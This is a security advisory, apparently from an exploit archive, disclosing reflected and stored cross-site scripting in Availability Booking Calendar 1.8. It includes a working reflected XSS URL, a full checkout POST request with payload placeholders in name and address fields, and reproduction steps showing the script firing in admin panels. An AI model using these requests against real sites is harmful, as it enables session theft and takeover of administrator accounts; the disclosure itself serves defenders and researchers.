Availability Booking Calendar 1.8 Cross Site Scripting

`┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
││ C r a C k E r ┌┘  
┌┘ T H E C R A C K O F E T E R N A L M I G H T ││  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
┌──── From The Ashes and Dust Rises An Unimaginable crack.... ────┐  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ [ Vulnerability ] ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: Author : CraCkEr :  
│ Website : https://gzscripts.com/availability-booking-calendar-php.html │  
│ Vendor : GZ Scripts │  
│ Software : Availability Booking Calendar 1.8 │  
│ Vuln Type: Reflected XSS - Stored XSS │  
│ Impact : Manipulate the content of the site │  
│ │  
│────────────────────────────────────────────────────────────────────────────────────────│  
│ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
: :  
│ Release Notes: │  
│ ═════════════ │  
│ │  
│ Reflected XSS │  
│ │  
│ The attacker can send to victim a link containing a malicious URL in an email or │  
│ instant message can perform a wide variety of actions, such as stealing the victim's │  
│ session token or login credentials │  
│ │  
│ │  
│ Stored XSS │  
│ │  
│ Allow Attacker to inject malicious code into website, give ability to steal sensitive │  
│ information, manipulate data, and launch additional attacks. │  
│ │   
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
Greets:  
  
The_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL , MoizSid09   
  
CryptoJob (Twitter) twitter.com/0x0CryptoJob  
  
┌┌───────────────────────────────────────────────────────────────────────────────────────┐  
┌┘ © CraCkEr 2023 ┌┘  
└───────────────────────────────────────────────────────────────────────────────────────┘┘  
  
  
Path: /load.php  
  
GET 'cid' parameter is vulnerable to RXSS  
  
https://website/load.php?controller=GzFront&action=calendar&cid=1vqvby%22%3e%3cscript%3ealert(1)%3c%2fscript%3eg6vt7wmumdm&view_month=1&cal_id=1&month=7&year=2023  
  
  
  
## Stored XSS  
  
-----------------------------------------------  
POST /AvailabilityBookingCalendarPHP/load.php?controller=GzFront&action=checkout&cid=1 HTTP/1.1  
  
  
date_range=03.07.2023+-+04.07.2023&abadults=&abchildren=&adults=1&children=1&promo_code=&title=prof&male=female&first_name=[XSS Payload]&second_name=[XSS Payload]&phone=000&email=cracker%40infosec.com&company=xxx&address_1=[XSS Payload]&address_2=xxx&city=yyy&state=sss&zip=00000&country=LEB&terms=1&start_date=1688342400&end_date=1688428800&cal_id=1&calendar_id=1&from_date=1688342400&to_date=1688428800&payment_method=pay_arrival&create_booking=1  
-----------------------------------------------  
  
POST parameter 'first_name' is vulnerable to XSS  
POST parameter 'second_name' is vulnerable to XSS  
POST parameter 'address_1' is vulnerable to XSS  
POST parameter 'country' is vulnerable to XSS  
  
  
## Steps to Reproduce:  
  
1. As a [Guest User] Choose any Day Colored by Green on the Calendar  
2. Inject your [XSS Payload] in "First Name"  
3. Inject your [XSS Payload] in "Last Name"  
4. Inject your [XSS Payload] in "Address Line 1"  
5. Inject your [XSS Payload] in "Country"  
6. Accept with terms & Press [Booking]  
XSS Fired on Local User Browser  
  
7. When ADMIN visit [Dashboard] in Administration Panel on this Path (https://website/index.php?controller=GzAdmin&action=dashboard)  
XSS Will Fire and Executed on his Browser  
  
8. When ADMIN visit [Bookings] - [All Booking] to check [Pending Booking] on this Path (https://website/index.php?controller=GzBooking&action=index)  
XSS Will Fire and Executed on his Browser  
  
9. When ADMIN visit [Invoices ] - [All Invoices] to check [Pending Invoices] on this Path (https://website/index.php?controller=GzInvoice&action=index)  
XSS Will Fire and Executed on his Browser  
  
  
[-] Done  
`